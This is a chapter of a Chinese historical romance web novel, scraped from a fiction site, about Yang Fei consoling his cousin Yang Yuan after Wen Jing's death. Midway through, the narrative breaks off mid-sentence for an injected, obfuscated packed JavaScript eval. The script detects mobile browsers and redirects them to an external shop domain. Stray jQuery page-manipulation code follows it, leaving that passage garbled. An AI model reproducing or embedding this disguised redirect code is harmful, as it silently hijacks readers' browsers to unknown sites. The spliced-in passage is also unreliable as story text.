文趣网 > 都市小说 > 侯门金枝 > 205. 第 205 章
    杨鸢从回忆里抬起头,一眼望见门前站着的人,不由得哽了一下:“做什么?站在那里又不出声,吓我一跳。”

    她狐疑地瞟了一眼杨斐:“无事不登三宝殿,你来做什么?”

    “没什么。”杨斐答道:“看你说话这么轻松,想必是不难过,那便好了。”

    “你专门过来挑我的刺?”杨鸢呛了回去.

    杨斐摇摇头,直白地说道:“不是,我来看你。”

    杨鸢的神情顿时凝固,似乎不可置信:“来看我?你每一次登门,都没有好事,说罢,是不是侯府又出什么事了?”

    “哎,你为什么就不能相信我一回?”杨斐抱着双臂倚在门框上,一脸真诚瞧这杨鸢:“纵然平日里我喜欢跟你抬杠,此刻却也没必要吧?”

    “信你?那我不如相信太阳打西边出来了。”杨鸢毫不留情地道。

    “小鸢,你没必要这样。”杨斐盯着她看,看了半晌才开口:“我已经知道了,你何苦瞒着?”

    “三妹讲的?”杨鸢问道。

    杨斐不置可否,杨鸢叹了口气,似乎早有预料:“我就知道。罢了,真没什么事,反正我们早就知道迟早有这一天,再多伤怀也是无济于事。”

    “你嘴上说得潇洒,心里头也这样想就好了。”杨斐道。

    “行了。”杨鸢沉默片刻,又多问了一句:“你是来送他,还是来看我?”

    “我跟闻璟有这么深厚的交情吗?”杨斐开玩笑似的抱怨道:“诈死这种大事都只告诉你一个人,我这个朋友当的甚是没趣味。”

    “那自然是不同的。”杨鸢信口就来:“我承师父的情照料他,他难道不该多对我坦诚?”

    “你说得倒是轻巧。”杨斐‘哼’了一声,斯人已逝,多少有些触景生情。

    “早就看他不顺眼了。”杨斐喃喃自语:“从一开始我就知道他不是什么好人,果然对你是另有所图。”

    杨鸢嘴角抽了抽,问道:“你少胡说,闻璟从我这里图到什么了?”

    “真的没有?”杨斐反问道。

    杨鸢骤然沉默下去,垂下眼睛,盯着面前的手稿看。

    “也许有过吧,我又不是付不起,自然不惧。”杨鸢轻声道。

    杨斐若有所思的别开眼,盯着屋檐上的瓦片看:杨鸢嘴上说信天命,真到了这件事上,永远都是要跟老天争一时。

    “明知道到头来都是竹篮打水一场空,你们两个平时看着也不傻,怎么关键时候犯糊涂?”

    听着杨斐的问题,杨鸢却并无什么太大的反应:“人的心就这么不讲道理。”

    “也是,感情之事若能讲道理,哪里有那么多痴人。”杨斐笑了一声。

    “你少说我的风凉话,你跟妙怜不还是一样?”

    见杨鸢毫不留情揭自己的短,杨斐顿时哭笑不得:“到底哪里一样?”

    “你自己想去吧。”杨鸢怼了回去,过了许久才问道:“今日特意找我说这么多话,就是为了看我什么反应?”

    “关心你还不成吗?”杨斐拐弯抹角地道。

    “那多谢你关心,我好得很。”杨鸢不咸不淡地说道。

    “真的吗?”杨斐看着她,目光里透着几分忧心忡忡:“你一张嘴,大事化小小事化了,我根本不敢信。”

    “怪了,你以前不是最希望我和闻璟分道扬镳,怎么现在多愁善感起来了?”杨鸢忽然问道。

    杨斐一时间哑口无言,过了半晌才无奈地笑出声:“你还记得这件事呢?”

    “为什么不记得?”杨鸢伸手拂过宣纸上的字迹,声音如古井无波:“我知道我们不会有什么好结果,我只是不想放手。”

    “天意在我手里只不过是称手的工具,我说的从来都是人意。”

    杨鸢的声音低沉下去:“既然是人意,为什么一切不能由我说了算?”

    “你——”杨斐终究是没有再说下去,只留下一声长叹。

    “所以啊,”杨鸢的语调听上去依旧很轻松,似乎没有受到一点影响:“我早知结果如此,仍然选了遵从自己的心意,现在只不过是我要付出一点代价而已。”

    杨斐欲言又止,一时间也不知道该从何处劝解:“小鸢——”

    “我不难过,我只是遗憾,毕竟这条路是我自己选的。”杨鸢道。

    “你倒是看得开。”杨斐嘴角抽了抽,小声说道。

    “难为你大半夜跑过来看我。”杨鸢揶揄道。

    杨斐这回没跟她对着呛声,只是平淡地说道:“我只是怕你伤怀。”

    从杨湫口中得知的时候,除了唏嘘,杨斐几乎是立刻做下了决定,至少来看看吧。

    “我明白。”杨鸢点点头,并没有什么多余的情绪,继续问道:“还有吗?”

    “相识一场。”杨斐的嘴唇翕动着,吐出几个字:“上一次没时间告别,这一次总有。”

    杨鸢轻轻应了一声,没在说话,杨斐同样陷入沉默。

    他沉默在灵牌前上了三炷清香,长叹了一声,多少生出了些物是人非的感慨。

    认识的故人忽然间没了好几个,杨斐苦中作乐的想到:我活的最长久,来年免不得多替你们祭奠一番。

    你们在下面若有所需,就记得托个梦来看我,我也好替你们准备上

    “你的镯子呢?”上过了香,杨斐便走出了那间密室,只见杨鸢在西厢前伫立良久。

    他的目光落在杨鸢空荡荡地腕间,已经明白过来。

    “送出去了,我不好收回的。”杨鸢摸着手腕,神色莫测:“是我硬套上去,硬摘下来,我觉得麻烦。”

    “真的是怕麻烦?”杨斐问道。

    杨鸢极轻地点点头,道:“他既然收了我的玉镯,那他这个人就是我的,我不松口,他哪里有跑的道理?”

    听着她这样理直气壮的一句话,杨斐顿时有种说不出来的难受:“小鸢,你别这样。”

    他长叹了一声,道:“我不是真心盼着你们分道扬镳。你和闻璟在一起,你若能高兴,我也不在乎其他的。”

    “我们是友人,我怎么可能真的希望你们,分道扬镳。”

    “这些话,你大可留着和闻璟说去。”杨鸢笑了一声,道:“他亲口所言,就算他死了,他自己也会回来的。”

    “他自己也没半点忌讳。”杨斐无奈地笑了起来。

    “无所谓啦,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696283|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人走如灯灭。”杨鸢望着星空,故作轻松地道:“我又不是不知道这个结果,既然早在意料之中,我应当去祝他往生极乐。”

    她用力眨了眨眼,眼角极快速地泛起一点泪花,嘴上还是若无其事。

    杨斐看着她,欲言又止,却又不忍心揭穿。

    “当年我称自己命主开阳,能护佑国祚绵长。”杨鸢强忍下哽咽说道:“陛下让师父替我算过,算我的天命之人。”

    “师父说,这个人尚未出现,我却不服。”

    数年前,司天监。

    “师父,您当真没骗我?”刚刚拜师进入司天监的杨鸢不服气的问道:“陛下在乎这个做什么?有没有天命之人,我都是能护佑帝星的。”

    “陛下也是出于谨慎嘛。”周老先生说道。

    那个时候,师父的鬓发还没有花白,杨鸢坐在阶下仰着脸,一脸不服。

    “那师父既然替我算了,可有算出来?”杨鸢锲而不舍地问道:“徒弟的天命之人到底在哪里?他是什么样的人?”

    “人海茫茫,也许终其一生,此人也未必会现身。”周老先生道。

    杨鸢抿唇,忽而抬起眼定定看着师父,一字一句道:“我不信。我的天命之人,当然是我说了算数。”

    周老先生意料之外的没说什么,也不在乎杨鸢当时如何口出狂言,只是捻着胡须笑了笑。

    “等我有朝一日找到了,就算天意让我们有缘无分,我也不后悔。”

    往事说起来平静如水,已经没有了余味,知道周瑄真实身份的那一天,杨鸢躲在屋子里,鬼使神差的算了一卦。

    仿佛冥冥之中自有天意,当初自己说过的话应验,杨鸢又惊又喜,自然忘记了天意的提醒。

    有缘无份,在杨鸢眼里不值一提,她近乎自负地想到,只要自己不后悔,便没有什么好犹豫的。

    “我不贪心。”杨鸢在心中默念:“情出自愿,事过之后,杨鸢无惧无悔。”

    过往回忆好像一幅泛黄的画卷,在浓烈的墨迹,只要被时光拂过,都会黯然失色。

    “我其实,也很后悔。”杨鸢道:“年少时太过自负,总觉得全力以赴之后,我就能了无遗憾。”

    她抬起眼,一滴泪水凭空落下:“我错了,人的感情,怎么能这样衡量。”

    “没,你没有错。”杨斐试图安慰她,道:“可能就像你们说的,天命如此,你又何来错处。”

    杨鸢扯了扯嘴角,笑着摇摇头:“人的心就是这样不讲道理的,我就算什么都想明白了,还是忍不住会难过。”

    “你若难过,说出来又有何妨?”杨斐低声说道:“总归我们是亲人,我不会袖手旁观的。”

    杨鸢应了一声,伸手摸去了眼角的泪滴。

    夏夜凉风习习,竹叶随着风声窸窣作响,听起来好像有人躲在远处叹息。

    杨斐抬眼望向西厢的位置,分明里面没有点灯,他恍然间好像看见了一道模糊的影子投在窗棂上,静静地望着杨鸢的背影。

    他一时间无言,忽然间瞪大了眼睛。

    杨鸢似有所觉,转过身向着同一个方向望了一眼,只见那道影子随风一晃,彻底消失无踪。